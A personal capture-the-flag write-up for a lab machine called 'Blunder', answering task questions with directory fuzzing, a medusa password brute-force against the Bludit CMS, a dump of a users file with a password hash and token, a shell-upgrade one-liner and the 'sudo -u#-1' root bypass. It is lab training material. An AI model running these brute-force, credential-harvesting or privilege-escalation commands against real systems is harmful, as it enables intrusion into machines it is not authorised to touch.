Logo
Web01
Ch4os1@web01:~/writeups/Blunder
← Back to all write-ups

Blunder

Lab Details

Tasks

Q1: How many TCP ports are open on the remote host?

Q2: What is the name of the unusual file that dirbusting reveals?

  ffuf -u http://10.10.10.191/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .ext1 .ext2 .ext3
  .php 
  .pdf 
  .txt 
  .config 
  .js 
  .md 
  .html
  .xml
  .cgi
  .ini
  .log
  .dat
  .cfg
  .yml 
 [Status: 200, Size: 118, Words: 20, Lines: 5, Duration: 309ms]
    * FUZZ: todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

Q3: What is the version of Bludit CMS that is used?

        <!-- Javascript -->
       <script src="http://10.10.10.191/bl-kernel/js/jquery.min.js?version=**3.9.2**"></script>
<script src="http://10.10.10.191/bl-kernel/js/bootstrap.bundle.min.js?version=**3.9.2**"></script>

       <!-- Load Plugins: Site Body End -->

</body>
</html>

Q4: What is the password for the user "fergus" on Bludit CMS?

medusa -h 10.10.10.191 -u fergus -P /usr/share/wordlists/rockyou.txt  -M http -t 2   
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 10.10.10.191 (1 of 1, 0 complete) User: fergus (1 of 1, 0 complete) Password: 12345 (1 of 14344391 complete)
ACCOUNT FOUND: [http] Host: 10.10.10.191 User: fergus Password: 12345 [SUCCESS]
ACCOUNT CHECK: [http] Host: 10.10.10.191 (1 of 1, 0 complete) User: fergus (1 of 1, 1 complete) Password: 123456 (2 of 14344391 complete)
ACCOUNT FOUND: [http] Host: 10.10.10.191 User: fergus Password: 123456 [SUCCESS]

Q5: What is the 2019 CVE ID for a remote code execution vulnerability in Bludit 3.9.2?

Q6: What is the password of the user Hugo?

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files 
...
/var/www/bludit-3.10.0a/bl-content/databases/users.php
...
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

Analyzing 'faca404fd5c0a31cf1897b823c695c85cffeb98d'
[+] SHA-1
... 

Q7: Submit the flag located in the hugo user's home directory.

python -c 'import pty; pty.spawn("/bin/bash")'

Q8: What 2019 CVE ID is related to the currently installed Sudo version?

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                               
Sudo version 1.8.25p1   
sudo -u#-1 /bin/bash

Lesson Learned